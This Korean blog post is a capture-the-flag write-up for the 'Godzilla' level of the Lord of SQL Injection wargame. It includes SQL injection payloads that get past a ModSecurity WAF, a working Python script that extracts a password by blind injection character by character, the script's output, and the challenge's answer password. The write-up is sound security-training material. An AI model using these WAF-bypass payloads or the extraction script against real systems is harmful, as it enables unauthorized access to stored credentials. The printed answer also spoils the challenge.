갓-질라. 한국에서 '갓'이라는 접두어는 뭔가 엄청난 것에게 부여된다. 이번에 풀어볼 몬스터는 얼마나 대단한지, 코드를 통해서 알아보자
코드
blind sql injection이다. 정확한 pw를 요청하고 있고, query의 결과를 알 수 있는 특정한 조건문이 있다.
혹시?
try : ?id=%27%20or%20id=%27admin%27
이제 익숙해지자... WAF가 또 사용되었다.
해결방법
Answer Url : modsec.rubiya.kr/chall/XXXX.php?pw=a18a6cc5
import string
from requests import get
if __name__=="__main__" :
url = "### GODZILLA의 URL ###"
cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
length = 1
letters = string.digits + string.ascii_letters
password = ''
print("### LENGTH of PASSWORD SEARCH ###")
while(True) :
param = "?id=-1%27<@=1%20or%20length(pw)>"+str(length)+"%20and%20id<%27admio%27%20or%20pw=%27123&pw=123"
new_url = url+param
req = get(new_url,cookies=cookie)
if (req.text.find("Hello admin")<0) :
print("FIND! password lenght id : "+str(length))
break
length+=1
print("\n### PASSWORD SEARCH ###")
for i in range(1,length+1) :
for a in letters :
param = "?pw=-1%27<@=1%20or%20id<%27admio%27%20and%20pw>%27"+password+a+"%27%20%27"
new_url = url+param
req = get(new_url,cookies=cookie)
if(req.text.find("Hello admin")<150 and req.text.find("Hello admin") != -1) :
index = letters.index(a)
else :
break
if(i!=length) :
password += letters[index]
else :
password += letters[index+1]
print("found pw for letter's",i,":",password)
print("="*25)
print("find password : "+password)
풀다가 깨달았는데, url 앞에 modsecurity에서 보호된다는 게 쓰여있다. ㄷㄷ 몰랐다.
풀이 방법은 ModSecurity우회 법과 blind sql injection을 합쳐서 풀었다. 문자열 비교 연산자를 통한 풀이가 되겠다.
출력은 다음과 같다.
### LENGTH of PASSWORD SEARCH ###
FIND! password lenght id : 8
### PASSWORD SEARCH ###
found pw for letter's 1 : a
found pw for letter's 2 : a1
found pw for letter's 3 : a18
found pw for letter's 4 : a18a
found pw for letter's 5 : a18a6
found pw for letter's 6 : a18a6c
found pw for letter's 7 : a18a6cc
found pw for letter's 8 : a18a6cc5
=========================
find password : a18a6cc5
축하한다.
앞으로 MODSECURITY의 보호를 받고 있는 문제는 굳이 ' or 1=1--%20 같은 뻔한 Injection은 하지 말아야겠다. 다음 몬스터에서 여러분들을 기다리겠다.
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 37 - Chupacabra (0) | 2021.04.25 |
---|---|
[LOSI] Lord of SQL Injection Level 36 - Cyclops (0) | 2021.04.25 |
[LOSI] Lord of SQL Injection Level 34 - Death (0) | 2021.04.24 |
[LOSI] Lord of SQL Injection Level 33 - Cthulhu (0) | 2021.04.24 |
[LOSI] Lord of SQL Injection Level 32 - Alien (0) | 2021.04.24 |